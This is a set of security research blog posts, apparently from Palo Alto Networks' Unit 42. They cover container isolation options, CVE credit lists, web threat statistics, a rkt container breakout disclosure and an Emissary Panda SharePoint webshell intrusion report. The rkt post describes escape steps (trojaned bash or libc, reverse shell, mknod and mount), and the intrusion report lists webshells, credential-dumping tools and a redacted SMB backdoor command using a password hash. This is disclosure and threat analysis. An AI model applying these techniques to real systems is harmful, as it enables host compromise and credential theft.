We have looked at several solutions that tackle the current container technology’s weak isolation issue. IBM Nabla is a unikernel-based solution that packages applications into a specialized VM. Google gVisor is a merge of a specialized hypervisor and guest OS kernel that provides a secure interface between the applications and their host. Amazon Firecracker is a specialized hypervisor that provisions each guest OS a minimal set of hardware and kernel resources. OpenStack Kata is a highly optimized VM with built-in container engine that can run on hypervisors. It is difficult to say which one works best as they all have different pros and cons. Table 1 shows a side-by-side comparison of some important features across all four projects. Nabla is your best choice if you have applications running in unikernels such as MirageOS or IncludeOS. gVisor is currently integrated best with Docker and Kubernetes, but due to its incomplete system call coverage, some applications still cannot run on it. Firecracker supports customized guest OS images, so it is a good choice if your applications need to run in a customized VM. Kata containers are fully compliant with the OCI standard and can run on both KVM and Xen hypervisor. It can simplify deploying microservices in an environment of hybrid platforms.  While it may take some time for one or multiple solutions to eventually be adopted by the mainstream, it is positive to see that most cloud providers have taken action on mitigating the issue. For organizations who are building on-premises cloud-native platforms, it is not the end of the world. Common practices such as patching quickly, least privilege configuration, and network segmentation can all effectively reduce the attack surface.

 

Table 1. A comparison of all four platforms.

Unit 42 Discovers Vulnerabilities in Adobe Acrobat and Reader and Foxit Reader, Shares Threat Research at Microsoft BlueHat Shanghai 2019

Posted on by John Harrison

As part of ongoing threat research, Palo Alto Networks Unit 42 threat researchers have discovered 28 new vulnerabilities addressed by the Adobe Product Security Incident Response Team (PSIRT) as part of their May Adobe Security Bulletin APSB19-18 and five Foxit Reader vulnerabilities addressed by Foxit Software as part of their recent security update releases. The Adobe vulnerabilities discovered included 19 Critical and 9 Important rated vulnerabilities.

Palo Alto Networks customers with a Threat Prevention subscription who deploy our Security Operating Platform are protected from zero-day vulnerabilities such as these. Weaponized exploits for these vulnerabilities are prevented by Traps multi-layered exploit prevention and response capabilities. Threat Prevention capabilities, such as vulnerability protection with IPS and WildFire, provide our customers with comprehensive protection and automatic updates against previously unknown threats.

Palo Alto Networks appreciates both the recognition and credit Adobe and Foxit Software have given our Unit 42 threat researchers.

Palo Alto Networks is a regular contributor to vulnerability research in Microsoft, Adobe, Apple, Google Android, and other ecosystems with more than 200 critical vulnerabilities discovered. By proactively identifying these vulnerabilities, developing protections for our customers, and sharing the information with the security community, we are removing weapons used by attackers to threaten users and compromise enterprise, government, and service provider networks.

Palo Alto Networks will also present security research findings at the upcoming, prestigious Microsoft BlueHat Shanghai 2019. Two papers were accepted titled, “Is my Container Secure?  Large-Scale Empirical Study on Container Vulnerabilities” by Authors Zhaoyan Xu, Yue Guan, Cecilia Hu, Bo Qu, and Xin Ouyang.  The other paper is “Advanced Lateral Movement on Container-based K8s Cluster” by Authors Tongbo Luo and Zhaoyan Xu. Additionally, Hui Gao, from Palo Alto Networks, was added to the content advisory board for BlueHat Shanghai 2019.

Adobe Vulnerabilities Credited:

CVE Vulnerability Category Impact Maximum Severity Rating Researcher(s)
CVE-2019-7762 Use After Free Arbitrary Code Execution Critical Gal De Leon
CVE-2019-7841 Out-of-Bounds Read Information Disclosure Important Zhibin Zhang
CVE-2019-7836 Out-of-Bounds Read Information Disclosure Important Zhibin Zhang
CVE-2019-7835 Use After Free Arbitrary Code Execution Critical Zhibin Zhang
CVE-2019-7774 Out-of-Bounds Read Information Disclosure Important Zhibin Zhang
CVE-2019-7767 Use After Free Arbitrary Code Execution Critical Zhibin Zhang
CVE-2019-7773 Out-of-Bounds Read Information Disclosure Important Bo Qu
CVE-2019-7766 Use After Free Arbitrary Code Execution Critical Bo Qu
CVE-2019-7764 Use After Free Arbitrary Code Execution Critical Bo Qu
CVE-2019-7834 Use After Free Arbitrary Code Execution Critical Qi Deng
CVE-2019-7833 Use After Free Arbitrary Code Execution Critical Qi Deng
CVE-2019-7832 Use After Free Arbitrary Code Execution Critical Qi Deng
CVE-2019-7772 Use After Free Arbitrary Code Execution Critical Qi Deng
CVE-2019-7768 Use After Free Arbitrary Code Execution Critical Qi Deng
CVE-2019-7808 Use After Free Arbitrary Code Execution Critical Hui Gao
CVE-2019-7807 Use After Free Arbitrary Code Execution Critical Hui Gao
CVE-2019-7806 Use After Free Arbitrary Code Execution Critical Hui Gao
CVE-2019-7793 Out-of-Bounds Read Information Disclosure Important Zhaoyan Xu
CVE-2019-7792 Use After Free Arbitrary Code Execution Critical Zhaoyan Xu
CVE-2019-7783 Use After Free Arbitrary Code Execution Critical Zhaoyan Xu
CVE-2019-7782 Use After Free Arbitrary Code Execution Critical Zhanglin He
CVE-2019-7781 Use After Free Arbitrary Code Execution Critical Zhanglin He
CVE-2019-7778 Out-of-Bounds Read Information Disclosure Important Zhanglin He
CVE-2019-7765 Use After Free Arbitrary Code Execution Critical Zhanglin He
CVE-2019-7777 Out-of-Bounds Read Information Disclosure Important Taojie Wang
CVE-2019-7776 Out-of-Bounds Read Information Disclosure Important Taojie Wang
CVE-2019-7775 Out-of-Bounds Read Information Disclosure Important Taojie Wang
CVE-2019-7763 Use After Free Arbitrary Code Execution Critical Taojie Wang

Foxit Software Vulnerabilities Credited:

Date Researcher(s) Vulnerability Description
1/9/19 Hui Gao and Zhaoyan Xu of Palo Alto Networks Foxit Reader Heap Corruption
1/24/19 Hui Gao and Zhaoyan Xu of Palo Alto Networks Foxit Reader Memory Corruption Vulnerability
3/28/19 Hui Gao of Palo Alto Networks Foxit Reader Vulnerability
3/28/19 Hui Gao of Palo Alto Networks Foxit Reader Vulnerability
3/28/19 Hui Gao of Palo Alto Networks Foxit Reader Vulnerability

Web-based Threats-2018 Q4: France Rises to #1 for Malicious URL Hosting, US #1 for Phishing

Posted on by Bo Qu

Executive Summary

Our Unit 42 research team routinely evaluates the data from our Email Link Analysis (ELINK) system. In examining the data it collects, which are URLs extracted from emails or submitted by API, we can identify patterns and trends which help us discern prevalent web threats. This blog is the fourth (4th quarter of 2018) installment in a series of posts tracking web-based threats throughout the year, specifically statistics pertaining to malicious URLs, domains, exploit kits, CVEs, and now, phishing scams.

The key findings in this quarter’s report in summary are:

  1. After Q4 saw an increase in malicious URLs, ending a trend of decreasing malicious URLs starting in Q1 and continuing through Q3.
  2. For the first time in our tracking, the United States is not the number one country for malicious URLs: it fell to number two with France taking number one.
  3. The number of domains hosting malware continued the drop we saw in Q3.
  4. The United States once again is number one in malicious domains hosting malware.
  5. There was no change in the top three vulnerabilities under attack this quarter: CVE-2018-8174, CVE-2016-0189, CVE-2014-6332
  6. It’s also notable that these three have been the top three for three quarters now. And two of these (CVE-2016-0189, CVE-2014-6332), have been in the top three for a full year now.
  7. The US was number one for phishing URL distribution and phishing domains, accounting for 56% and 40% of the volume respectively.
  8. Microsoft account holders and customers were the number one target for phishers. Overall, technology company account holders and customers were the primary target for phishers, though DHL and Bank of America customers and account holders were also in the top ten for this quarter.

Malicious URLs/Domains

Malicious URLs

Based on the data from our ELINK system during Q4, we noticed a comeback in malicious URL links that were extracted from our data feed and analyzed. There were 1195 malicious URLs recorded during Q4, which is around 37% more than the previous quarter. The 3rd quarter of 2018 capped at 783 malicious URLs, which as you can see in Figure 1 is quite low compared to the rest of the year.

Figure 1. Malicious URLs from Q1 to Q4 2018

These malicious URLs have also been broken down by country/region codes. Out of the 1195 URLs, France placed highest with 390 malicious URLs. It’s the first time the United States hasn’t ranked #1 on the list. The United Kingdom, which appears in the top 5 list from Q3, plummeted to only 7 malicious URL in Q4. Please keep in mind these statistics are formulated from our ELINK system data sets, they represent a sample set of overall numbers in the wild.

Figure 2. Top 5 malicious URL hosting country/region from Q4 2018

Malicious Domains Hosting Malware

Although we observed a resurgence in malicious URL numbers, the number of domains hosting malware decreased from last quarter. From 310 malicious domains in Q3 to 287 in Q4, as seen in Figure 3 below.

Figure 3. Malicious domains from Q1 to Q4 2018

While monitoring the domain hosting data, a pattern has emerged. Since the beginning of 2018, not only has the United States ranked #1 throughout the year, but the same 5 country/regions have remained at the top of our quarterly chart: United States, Russia, China, Hong Kong, and the Netherlands. These results may not seem surprising, especially the top 3, but it’s always interesting to see the movement of numbers throughout the quarters, these are detailed in Figure 4 below.

Figure 4. Malicious domains in 2018

 

The recorded CVEs in use have not changed much since the beginning of 2018. The top 3 vulnerabilities in Q4 are the same as in Q2 and Q3. Table 1 shows the rundown of the most common CVEs since Q1.

Table 1. Most triggered CVEs Q1 to Q4 2018

Most of the currently exploited CVEs are not new. In fact, although they didn’t make the top 3 list, the exploitation of three, over ten year old CVEs are still showing up in our data. Below is an overview of the CVEs that have been triggered in our ELINK system.

  • CVE-2008-1309: The RealAudioObjects.RealAudio ActiveX control in rmoc3260.dll in RealNetworks RealPlayer Enterprise, RealPlayer 10, RealPlayer 10.5 before build 6.0.12.1675, and RealPlayer 11 before 11.0.3 build 6.0.14.806 does not properly manage memory for the (1) Console or (2) Controls property, which allows remote attackers to execute arbitrary code or cause a denial of service (browser crash) via a series of assignments of long string values, which triggers an overwrite of freed heap memory.
  • CVE-2008-1472: Stack-based buffer overflow in the ListCtrl ActiveX Control (ListCtrl.ocx), as used in multiple CA products including BrightStor ARCserve Backup R11.5, Desktop Management Suite r11.1 through r11.2, and Unicenter products r11.1 through r11.2, allows remote attackers to execute arbitrary code or cause a denial of service (crash) via a long argument to the AddColumn method.
  • CVE-2008-4844: Use-after-free vulnerability in the CRecordInstance::TransferToDestination function in mshtml.dll in Microsoft Internet Explorer 5.01, 6, 6 SP1, and 7 allows remote attackers to execute arbitrary code via DSO bindings involving (1) an XML Island, (2) XML DSOs, or (3) Tabular Data Control (TDC) in a crafted HTML or XML document, as demonstrated by nested SPAN or MARQUEE elements, and exploited in the wild in December 2008.

Phishing

ELINK started to support phishing detection at the end of Q3. Below are phishing detections from ELINK in Q4 2018.

URLs

In Q4 2018, we observed 212,818 phishing URLs in total. More than half of them are hosted in the US, followed by the Netherlands, Germany, Russian, and Chile. France, which ranked #1 in our malicious URLs hosting country/region, ranked 6th in hosting phishing URLs. Figure 5 shows a breakdown of the top 20 hosting countries/regions for Phishing URLs.

Figure 5. Phishing URL distribution

Domains

All 212,818 phishing URLs were hosted by 20,990 domains. Out of all the phishing domains monitored, a prominent 40% were hosted in United States. The top 5 countries/regions for hosting phishing domains are as follows: United States, Netherlands, Germany, France, and Canada. More details are in Figure 6 below.

Figure 6. Phishing domain distribution

Targets

There is no doubt that phishing campaigns are rampantly spreading, ELINK captured 200 times more phishing URLs than malicious URLs. You may be curious what well-known entities these phishing scams are intended for. It may not be surprising that Microsoft is the overriding phishing target, considering there are multiple popular products/services from Microsoft, such as OneDrive, Outlook, and Office 365. Bank of America (BoA) is the only bank present in the top 10 list, with Chase second in the bank category ranking in at 15th place. More details of the top 10 phishing targets are in Figure 7 below.

Figure 7. Phishing target distribution

Case Study

The Fallout Exploit Kit, using CVE-2018-8174, is still the most active EK in Q4. A new campaign called “FindMyName” was found to deliver multiple new Azorult (data stealing/downloading malware) variants through CVE-2018-8174 (which we noted above is the number one targeted vulnerability this quarter). In this campaign several attack chains, that originated from different URLs, had the same final landing pages on the same domain (findmyname[.]pw). These new Azorult variants use advanced obfuscation techniques, such as API flooding and control flow flattening to evade anti-virus products. In addition, the samples we captured support stealing sensitive information in more browsers, applications, and cryptocurrency wallets than previous versions. We disclosed more details in this blog.

Conclusion

Looking at this quarter’s trends, we see a comeback in malicious URLs globally due to a surprisingly upsurge in France. Meanwhile, the United States remained the top hosting country/region for malicious domains.

While our ELINK system indicates 10-year-old vulnerabilities still being exploited, most of the vulnerabilities showing up were discovered within the last 5 years. There is no zero-day vulnerability attack observed this quarter, keep your software and system updated can prevent a majority of them. WildFire and PANDB both have full coverage of these malwares.

Compared to malicious URLs, the number of phishing URLs is substantially larger. They are not based on any vulnerability of software or system but based on humans being the weakest link in cybersecurity. WildFire and PANDB both have full coverage of these phishing URLs.

Breaking Out of rkt – 3 New Unpatched CVEs

Posted on by Unit 42

Executive Summary

Back in February, I wrote a piece on the major runC vulnerability, CVE-2019-5736. The fundamental flaw behind this vulnerability affected most container runtimes, such as LXC and Apache Mesos. One container runtime which seemed to be unfazed was CoreOS rkt, on which I heard a lot back when I first started to get into containers. So naturally, I was intrigued to check out rkt’s architecture and see what they did differently, and I recently had some time to do so.

I ended up finding 3 other, unrelated vulnerabilities in rkt. These vulnerabilities allow an attacker to compromise the host when a rkt user executes the ‘rkt enter’ command (the equivalent of ‘docker exec’) into an attacker-controlled pod. They are currently unpatched.

rkt

rkt is an open source container runtime and a CNCF incubating project created by CoreOS. It is a widely loved project, mostly because it was one of the few viable open source alternatives to Docker back in the early container days. rkt’s basic unit of execution is a pod, which contains multiple containers running in a shared context (similarly to Kubernetes).

Honestly, finding container breakout vulnerabilities, especially in a CNCF project, was pretty exciting. Though I soon noticed that the project isn’t being actively developed. There are still some commits, pull requests and issues from the recent time, but the last release was back in April 2018. After some digging, I learned that RedHat acquired CoreOS in mid-2018, and it seems that they didn’t allocate resources to continue developing the project. This makes sense as RedHat has a set of runC based container runtimes – CRI-O and podman. rkt is an open source project so anyone can pick up development, but judging from its GitHub page, it seems that only a handful are doing so.

Disclosure Process

I reported the vulnerabilities to CoreOS and RedHat according to the instructions here. They acknowledged the issues and assigned CVE IDs for them, but stated they don’t intend on fixing them:

“At this point, Red Hat doesn’t have an active plan/timeline for fixing the reported issues before disclosing them to the general audience. Thus, my suggestion would be to proceed as follows:
…
* Yuval publicly reports the two issues … to https://github.com/rkt/rkt
* Further follow-ups are handled in the normal way by the community via the GitHub issue tracker.”

Following their plan, I reported my findings today (30.05.19) in this GitHub issue. This is of course not ideal, but at least now any contributor from the community could work on patching the vulnerabilities.

I don’t know how many users still run rkt in production, but if you do, avoid using the ‘rkt enter’ command, as it contains several unpatched vulnerabilities.

The ‘rkt enter’ vulnerabilities

The ‘rkt enter’ command allows users to run a binary in a running container, and is the rkt equivalent of ‘docker exec’. Below is the command’s format:
rkt enter [pod-id] [binary-to-run]

Binaries from the container executed via ‘rkt enter’ run as root, with all capabilities, and with no seccomp filtering or cgroup isolation applied. They are only restricted by namespaces, which are not enough to prevent them from breaking out and compromising the host.
After reporting these issues to RedHat, they were assigned 3 CVE IDs:

  • CVE-2019-10144: processes run with rkt enter are given all capabilities during stage 2
  • CVE-2019-10145: processes run with rkt enter do not have seccomp filtering during stage 2
  • CVE-2019-10147: processes run with rkt enter are not limited by cgroups during stage 2

All three vulnerabilites are illustrated in the following video:

Explotation

The exploitation scenario consists of an attacker with root access to a container and a rkt user that runs ‘rkt enter some-binary’ to execute a binary inside that container. The attacker can inject malicious code into commonly used binaries and libraries in the container, which the user is likely to run using ‘rkt enter’. For example, an attacker can:

  • Overwrite /bin/bash in the container, which is the default binary executed by ‘rkt enter‘ if the user hasn’t specified another.
  • Overwrite libc.so.6 in the container, which is likely to be loaded by processes spawned with ‘rkt enter’. The attacker can utilize the gcc constructor attribute so that his code is run whenever the modified libc library is loaded by a process.

Once an attacker is running in the context of a container process spawned by ‘rkt enter’, he can escape the container and gain root access on the host with relative ease as he runs with all capabilities, no seccomp filtering and without cgroup isolation.

Exploitation Example – Escape via mounting the host’s root directory

There are likely multiple ways for an attacker-controlled ‘rkt enter’ process to access the host, but the most straight forward approach is to mount the host root directory.

Consider a scenario where the attacker, which compromised a rkt container, substitutes the container’s ‘bash’ with a malicious version that spawns a reverse shell to the attacker’s machine. Once a user executes ‘rkt enter ${pod-id} bash’, the malicious bash executes and the attacker receives a reverse shell on his machine. This reverse shell runs in the context of a vulnerable process spawned by ‘rkt enter’, and is therefore not properly isolated from the host.

The attacker can then proceed to mount the host root directory using the ‘mknod’ and ‘mount’ syscalls, and thus gain root access to the host. This scenario is demonstrated in the video below.

This attack is pretty cool IMO, as it highlights the purpose of the isolation features lacking in the ‘rkt enter’ command.
A little challenge for you container security enthusiasts – try and list the points of failure for this attack if it was run in a properly isolated container environment (e.g. in a process spawned by ‘rkt run’, or in a Docker container).

Remember that containers follow the principle of security in layers, so the attack can fail at a certain point for multiple reasons. Ready, Set… Go.

And the answer:

  1. mknod
    • In several container runtimes, such as singularity or podman in the past, the mknod syscall will fail because the container filesystem was mounted with the ‘nodev’ flag.
    • In some container runtimes, e.g. rkt (not including ‘rkt enter’ processes, obviously), the mknod syscall will fail due to the device cgroup configuration which denies creating block devices using mknod.
    • In container runtimes which use user namespace by default, like LXD, the mknod syscall will fail. See the “Effect of capabilities within a user namespace” section here for more details.
    • In other container runtimes, such as Docker, the mknod syscall will actually work!
  2. mount
    • The mount syscall will fail due to seccomp syscall filtering
    • The mount syscall will fail due to insufficient capabilities – you won’t have CAP_SYS_ADMIN
    • In some container runtimes, e.g Docker, the mount syscall will fail due to the device cgroup configuration which denies opening block devices for reading.

Ending note

While investigating rkt I also discovered a way to create malicious ACI/OCI images that will compromise the host when run. Although this is certainly not ideal, malicious images are not a part of rkt’s threat module. rkt supports image signing, and therefore running images from an untrusted source is not aligned with rkt’s recommendations nor proper use. I did report this as a possible security-in-depth enhancement in this GitHub issue, which has more details. This problem was reported to RedHat as well.

As I stated at the start of this blog, if you are using rkt, avoid using the ‘rkt enter’ command as the vulnerabilities in it are currently unpatched. I also suggest considering alternative container runtimes which are more steadily maintained, such as Docker, podman or LXD.

Feel free to reach out with any questions you may have through email or @unit42_intel.

Emissary Panda Attacks Middle East Government SharePoint Servers

Posted on by Robert Falcone

Executive Summary

In April 2019, Unit 42 observed the Emissary Panda (AKA APT27, TG-3390, Bronze Union, Lucky Mouse) threat group installing webshells on SharePoint servers to compromise Government Organizations of two different countries in the Middle East. We believe the adversary exploited a recently patched vulnerability in Microsoft SharePoint tracked by CVE-2019-0604, which is a remote code execution vulnerability used to compromise the server and eventually install a webshell. The actors uploaded a variety of tools that they used to perform additional activities on the compromised network, such as dumping credentials, as well as locating and pivoting to additional systems on the network. Of particular note is their use of tools to identify systems vulnerable to CVE-2017-0144, which is the same vulnerability exploited by EternalBlue that is best known for its use in the WannaCry attacks of 2017.

This activity appears related to campaigns exploiting CVE-2019-0604 mentioned in recent security alerts from Saudi Arabian National Cyber Security Center and the Canadian Center for Cyber Security. In addition to the aforementioned post-exploitation tools, the actors used these webshells to upload legitimate executables that they would use DLL sideloading to run a malicious DLL that has code overlaps with known Emissary Panda attacks. We also found the China Chopper webshell on the SharePoint servers, which has also been used by the Emissary Panda threat group.

In this blog, we provide details of the tools and tactics we observed on these compromised SharePoint servers, explain how we believe these connect to the Emissary Panda threat group, correlate our findings with those of the Saudi Arabian National Cyber Security Center and the Canadian Center for Cyber Security, and provide indicators of compromise (IoCs) from our research. You can find the Adversary Playbook for the activity detailed in this blog here.

Attack Overview

This webshell activity took place across three SharePoint servers hosted by two different government organizations between April 1, 2019 and April 16, 2019, where actors uploaded a total of 24 unique executables across the three SharePoint servers. Figure 1 shows a timeline of when the files were uploaded to the three webshells. The timeline shows three main clusters of activity across the three webshells, with activity occurring on two separate webshells (green and orange) within a very small window of time on April 2, 2019 and the activity involving the third webshell two weeks later on April 16, 2019. The actors uploaded several of the same tools to across these three webshells, which provides a relationship between the incidents and indicates that a single threat group is likely involved.

Figure 1. Timeline of file uploads across three related webshells

The tools uploaded to the webshells range from legitimate applications such as cURL to post-exploitation tools such as Mimikatz. The threat actors also uploaded tools to scan for and exploit potential vulnerabilities in the network, such as the well-known SMB vulnerability patched in MS17-010 commonly exploited by EternalBlue to move laterally to other systems on the network. We also observed the actors uploading custom backdoors such as HyperBro which is commonly associated with Emissary Panda. Based on the functionality of the various tools uploaded to the webshells, we believe the threat actors breach the SharePoint servers to use as a beachhead, then attempt to move laterally across the network via stolen credentials and exploiting vulnerabilities.

Webshells Installed

As previously mentioned, we found webshells installed on three SharePoint servers hosted at two different organizations, two of which had the same file name of errr.aspx and the other a filename of error2.aspx. The webshells were hosted at the following paths on the compromised servers:

/_layouts/15/error2.aspx

/_layouts/15/errr.aspx

We were able to gather one of the webshells with which we saw the actor interacting, specifically the error2.aspx file listed above. The error2.aspx file (SHA256: 006569f0a7e501e58fe15a4323eedc08f9865239131b28dc5f95f750b4767b38) is a variant of the Antak webshell, which is part of a tool created for red teaming called Nishang. The specific variant of Antak in error2.aspx is version v0.5.0, which is an older version of the webshell that was updated in August 2015 to v0.7.6 to include some basic authentication functionality and the ability to perform SQL queries. It’s possible the actors obtained Antak v0.5.0 via the Nishang GitHub repository or from SecWiki’s GitHub that also has the v0.5.0 version of Antak. Figure 2 shows the Antak webshell loaded on one of the Sharepoint servers.

Figure 2. Antak webshell ‘error2.aspx’ used to upload post-exploitation tools

While we observed the threat actor uploading additional tools to the Antak webshell above, the Sharepoint server also had several other webshells installed. The additional webshells, specifically stylecs.aspx, stylecss.aspx, and test.aspx are listed in Table 1, and appear related to the China Chopper webshell. We cannot be sure all of these webshells were installed by the same actors, as multiple actors could have exploited the SharePoint server. For instance, the China Chopper-related webshells are one-line of JScript code that could be easily copied and used by multiple groups, and the Antak webshell is easily obtained from publicly accessible repositories. However, the installation of China Chopper and the uploading of Emissary Panda related custom payloads to the Antak webshell suggests they are likely related, as this threat group has used China Chopper to compromise servers in the past.

Filename SHA256
stylecs.aspx 2feae7574a2cc4dea2bff4eceb92e3a77cf682c0a1e78ee70be931a251794b86
stylecss.aspx d1ab0dff44508bac9005e95299704a887b0ffc42734a34b30ebf6d3916053dbe
test.aspx 6b3f835acbd954af168184f57c9d8e6798898e9ee650bd543ea6f2e9d5cf6378

Table 1. Additional webshells hosted on Sharepoint server

The stylecs.aspx webshell provides fairly significant functionality, as its developer wrote this webshell in JScript that ultimately runs any supplied JScript code provided to it within the HTTP request. Figure 3 shows this webshell’s code that will run supplied JScript provided in base64 encoded format within the URL within a parameter e358efa489f58062f10dd7316b65649e. The parameter e358efa489f58062f10dd7316b65649e is interesting as it is the MD5 hash for the letter ‘t’, which is a known parameter for China Chopper as mentioned in the next section.

Figure 3. China Chopper code found in stylecs.aspx webshell on SharePoint server

The stylecss.aspx webshell is very similar to the stylecs.aspx, as it runs JScript provided within the e358efa489f58062f10dd7316b65649e parameter of the URL; however, the stylecss.aspx webshell does not accept base64 encoded JScript, but expects the JScript in cleartext that the actor would provide as URL safe text. Figure 4 shows the code within stylecss.aspx, which when compared to Figure 3 above shows the lack of the base64 decoding function ‘FromBase64String’.


Figure 4. China Chopper code found in stylecss.aspx webshell on SharePoint server

The last webshell extracted from the Sharepoint server had a filename of test.aspx, which is very similar to the stylecs.aspx webshell as it runs base64 encoded JScript provided in the URL of the request. However, the test.aspx webshell uses a parameter related to the compromised organization to obtain the base64 encoded JScript that it will run and display within the browser. The test.aspx shell also includes code that sets the HTTP response status to a 404 Not Found, which will display an error page but will still run the provided JScript. Figure 5 shows the code within the test.aspx file.

Figure 5. China Chopper code found in test.aspx webshell on SharePoint server

Links to Security Advisories

In April 2019, several national security organizations released alerts on CVE-2019-0604 exploitation, including the Saudi Arabian National Cyber Security Center and the Canadian Center for Cyber Security. Both of these alerts discussed campaigns in which actors used the CVE-2019-0604 to exploit SharePoint servers to install the China Chopper webshell. While we cannot confirm all of the claims made in these advisories, we noticed overlaps in the webshell code hosted on the compromised SharePoint servers we observed and the webshells mentioned in these advisories.

The Saudi Arabian National Cyber Security Center’s alert provided details regarding the activities carried out by the adversary. This alert also displayed the code associated with the China Chopper webshell observed in the attacks, which included Request.Item["t"] to obtain JScript code from the ‘t’ parameter of the URL. As mentioned in the previous section, stylecs.aspx and stylecss.aspx both used a parameter of e358efa489f58062f10dd7316b65649e, which is the MD5 hash of ‘t’. This may suggest the actor modified the script slightly between the attack we observed, and the attack mentioned in the NCSC advisory, all while retaining the same functionality. Also, the NCSC advisory mentioned that the actors used a file name stylecss.aspx for their webshell, which is the same filename we saw associated with China Chopper.

The alert from the Canadian Center for Cyber Security included the SHA256 hashes of the files associated with the campaign, one of which was 05108ac3c3d708977f2d679bfa6d2eaf63b371e66428018a68efce4b6a45b4b4 for a file named pay.aspx. The pay.aspx file is part of the China Chopper webshell and is very similar to the stylecss.aspx webshell we discussed above, with the only major difference is the URL parameter of ‘vuiHWNVJAEF’ within the URL that pay.aspx webshell uses to obtain and run JScript. Figure 6 below shows a comparison between the stylecss.aspx and pay.aspx files.

Figure 6. Comparison between stylecss.aspx webshell and pay.aspx webshell discussed in Canadian Center for Cyber Security advisory

Tools Uploaded

During our research into this attack campaign, Unit 42 gathered several tools that the actor uploaded to the three webshells at the two government organizations. The chart in Figure 7 shows the same tools being uploaded to the webshells, which provided an initial linkage between the activities. One of the overlapping tools uploaded to the webshells is the legitimate cURL application, which could be used by multiple groups. The other overlapping files are tools used by the adversary to locate other systems on the network (etool.exe), check to see if they are vulnerable to CVE-2017-0144 (EternalBlue) patched in MS07-010 (checker1.exe) and pivot to them using remote execution functionality offered by a tool similar to PsExec offered by Impacket (psexec.exe). These tools are not custom made by the adversary but still provide a medium confidence linkage between the activities. We also observed the actors uploading the HyperBro backdoor to one of the webshells, as well as legitimate executables that would sideload malicious DLLs that have overlapping code associated with known Emissary Panda activity.

Figure 7. Relationships between tools uploaded to the three webshells hosted on SharePoint servers

The actors uploaded 10 portable executables to the error2.aspx webshell, as seen in Table 2. The list of tools uploaded to this webshell includes legitimate applications, such as cURL and a component of Sublime Text used to sideload a malicious DLL, which we will discuss in an upcoming section. The list also includes several hack tools, such as Mimikatz for credential dumping and several compiled python scripts used to locate and compromise other systems on the local network. Lastly, we saw the actor uploading a custom backdoor called HyperBro, which has been associated with Emissary Panda operations in the past. We will provide an analysis of the HyperBro tool in an upcoming section.

Filename SHA256 Description
m2.exe b279a41359367408c627ffa8d80051ed0f04c76fbf6aed79b3b2963203e08ade Packed Mimikatz tool.
psexec.exe 7eea6e15bb13a3b65cca9405829123761bf7d12c6dc3b81ce499d8f6a0b25fb7 Compiled Impacket psexec
s.exe 04f48ed27a83a57a971e73072ac5c769709306f2714022770fb364fd575fd462 HyperBro backdoor
curl.exe abc16344cdfc78f532870f4dcfbb75794c9a7074e796477382564d7ba2122c7d Legitimate cURL
curl.exe bbb9cd70fdc581812822679e6a875dcf5b7d32fd529a1d564948a5a3f6f9e3ab Legitimate cURL
checker1.exe 090cefebef655be7f879f2f14bd849ac20c4051d0c13e55410a49789738fad98 Compiled EternalBlue checker script
etool.exe 38fa396770e0ecf60fe1ce089422283e2dc8599489bd18d5eb033255dd8e370c C# Tool, likely from https://github.com/mubix/netview
plugin_host.exe 738abaa80e8b6ed21e16302cb91f6566f9322aebf7a22464f11ee9f4501da711 Legitimate Sublime Text plugin host
PYTHON33.dll 2dde8881cd9b43633d69dfa60f23713d7375913845ac3fe9b4d8a618660c4528 Sideloaded DLL loaded by Sublime Text
curl.exe bbb9cd70fdc581812822679e6a875dcf5b7d32fd529a1d564948a5a3f6f9e3ab Legitimate cURL.

Table 2. Unique tools uploaded to the error2.aspx webshell installed on a SharePoint server

We saw 17 tools uploaded to the errr.aspx webshell hosted on the SharePoint server of one of the government organizations, which is in the middle of the chart in Figure 7. Table 3 shows all of the tools we observed the actor uploading to the webshell, which includes a list of tools used to dump credentials, locate, and exploit remote systems, as well as pivoting to other systems on the network.

Filename SHA256 Description
smb1.exe 88027a44dc82a97e21f04121eea2e86b4ddf1bd7bbaa4ad009b97b50307570bd SMB backdoor based on smbrelay3
mcmd.exe 738128b4f42c8d2335d68383d72734130c0c4184725c06851498a4cf0374a841 Compiled zzz_exploit.py
mcafee.exe 3bca0bb708c5dad1c683c6ead857a5ebfa15928a59211432459a3efa6a1afc59 Compiled zzz_exploit.py
dump.exe 29897f2ae25017455f904595872f2430b5f7fedd00ff1a46f1ea77e50940128e pwdump
checker1.exe d0df8e1dcf30785a964ecdda9bd86374d35960e1817b25a6b0963da38e0b1333 Compiled MS17-010 checker
memory.exe a18326f929229da53d4cc340bde830f75e810122c58b523460c8d6ba62ede0e5 Packed Mimikatz
checker.exe 090cefebef655be7f879f2f14bd849ac20c4051d0c13e55410a49789738fad98 Compiled MS17-010 checker
psexec.exe 7eea6e15bb13a3b65cca9405829123761bf7d12c6dc3b81ce499d8f6a0b25fb7 Compiled Impacket psexec.
etool.exe 38fa396770e0ecf60fe1ce089422283e2dc8599489bd18d5eb033255dd8e370c C# Tool, likely from https://github.com/mubix/netview
smb.exe 4a26ec5fd16ee13d869d6b0b6177e570444f6a007759ea94f1aa18fa831290a8 SMB backdoor based on smbrelay3
agent_Win32.exe b2b2e900aa2e96ff44610032063012aa0435a47a5b416c384bd6e4e58a048ac9 Termite
smb_exec.exe 475c7e88a6d73e619ec585a7c9e6e57d2efc8298b688ebc10a3c703322f1a4a7 httprelay
curl.exe bbb9cd70fdc581812822679e6a875dcf5b7d32fd529a1d564948a5a3f6f9e3ab Legitimate cURL
incognito.exe 9f5f3a9ce156213445d08d1a9ea99356d2136924dc28a8ceca6d528f9dbd718b Incognito  
nbtscan.exe c9d5dc956841e000bfd8762e2f0b48b66c79b79500e894b4efa7fb9ba17e4e9e nbtscan
fgdump.exe a6cad2d0f8dc05246846d2a9618fc93b7d97681331d5826f8353e7c3a3206e86 pwdump
smbexec.exe e781ce2d795c5dd6b0a5b849a414f5bd05bb99785f2ebf36edb70399205817ee Compiled Impacket smbexec

Table 3. Unique tools uploaded to the errr.aspx webshell installed on a SharePoint server

Two of the tools, specifically the compiled zzz_exploit.py and checker.py suggest the actor would check and exploit remote systems if they were not patched for MS17-010, which patched the CVE-2017-0144 (EternalBlue) vulnerability. Also, the use of the Mimikatz and pwdump tools suggests the adversary attempts to dump credentials on compromised systems. We were able to gather the command line arguments the actor used to run the SMB backdoor smb1.exe. The following arguments shows the actor using the SMB backdoor to attempt to run a batch script m.bat on a remote host using a domain username and the account’s password hash:

c:\programdata\smb1.exe <redacted 10.0.0.0/8 IP> <redacted domain>\<redacted username> :<redacted password hash> winsk c:\programdata\m.bat

